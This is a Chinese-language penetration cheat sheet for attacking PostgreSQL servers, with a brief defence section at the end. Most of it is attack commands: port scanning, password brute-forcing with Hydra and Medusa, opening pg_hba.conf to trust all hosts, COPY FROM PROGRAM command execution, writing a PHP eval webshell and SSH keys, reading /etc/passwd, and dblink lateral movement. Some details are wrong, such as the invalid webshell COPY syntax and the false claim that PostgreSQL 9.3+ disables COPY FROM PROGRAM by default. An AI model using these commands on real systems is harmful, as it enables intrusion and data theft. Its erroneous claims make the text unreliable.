5432 - PostgreSQL 渗透

漏洞概述

PostgreSQL 是开源的关系型数据库,常见漏洞包括弱口令、命令执行、提权等。

影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐


信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 5432 <TARGET_IP>

# PostgreSQL 枚举
nmap --script pgsql-* <TARGET_IP>

版本识别

# 直接连接
psql -h <TARGET_IP> -U postgres

# 查询版本
SELECT version();

漏洞利用

方法 1: 弱口令爆破

# Hydra 爆破
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://<TARGET_IP>

# Medusa 爆破
medusa -h <TARGET_IP> -U users.txt -P passwords.txt -M postgres

# crackmapexec
crackmapexec postgres <TARGET_IP> -u postgres -p password

方法 2: 未授权访问

# 直接连接(无密码)
psql -h <TARGET_IP> -U postgres

# 查询数据库
\l

# 查询用户
SELECT usename FROM pg_user;

方法 3: pg_hba.conf 配置不当

# 检查 pg_hba.conf
# 如果允许 trust 认证,可直接连接

# 修改 pg_hba.conf 添加信任
host all all 0.0.0.0/0 trust

命令执行

COPY 命令执行

-- 创建测试表
CREATE TABLE cmd_exec(cmd_output text);

-- 执行命令
COPY cmd_exec FROM PROGRAM 'id';

-- 查看结果
SELECT * FROM cmd_exec;

-- 清理
DROP TABLE cmd_exec;

写入文件

-- 写入 Webshell
COPY '<?php @eval($_POST["cmd"]);?>' TO '/var/www/html/shell.php';

-- 写入 SSH 公钥
COPY 'ssh-rsa AAAA...' TO '/home/postgres/.ssh/authorized_keys';

读取文件

-- 创建临时表
CREATE TEMP TABLE temp(t text);

-- 读取文件
COPY temp FROM '/etc/passwd';

-- 查看内容
SELECT * FROM temp;

提权路径

PostgreSQL 提权到系统

-- 利用 COPY FROM PROGRAM
COPY (SELECT '') TO PROGRAM 'whoami';

-- 利用扩展
CREATE EXTENSION IF NOT EXISTS plpgsql;

数据库提权

-- 查看权限
SELECT * FROM pg_roles;

-- 提升为超级用户
ALTER USER postgres WITH SUPERUSER;

内网渗透

链接服务器

-- 创建外部数据包装器
CREATE EXTENSION dblink;

-- 连接远程数据库
SELECT * FROM dblink('host=<IP> user=postgres password=pass dbname=test', 'SELECT version()') AS t(version text);

横向移动

-- 利用 dblink 执行命令
SELECT * FROM dblink('host=<TARGET_IP> user=postgres', 'COPY (SELECT '''') TO PROGRAM ''whoami''') AS t;

防御建议

  1. 禁用 COPY FROM PROGRAM

    -- PostgreSQL 9.3+ 默认禁用
    -- 不要手动启用
  2. 强口令策略

    • 最小长度 14 字符
    • 使用 md5 或 scram-sha-256 加密
  3. 配置 pg_hba.conf

    # 限制访问
    host all all 127.0.0.1/32 md5
    host all all ::1/128 md5
  4. 最小权限原则

    • 不要使用 postgres 超级用户
    • 创建专用账户
  5. 启用审计

    • 记录登录尝试
    • 监控异常查询

参考链接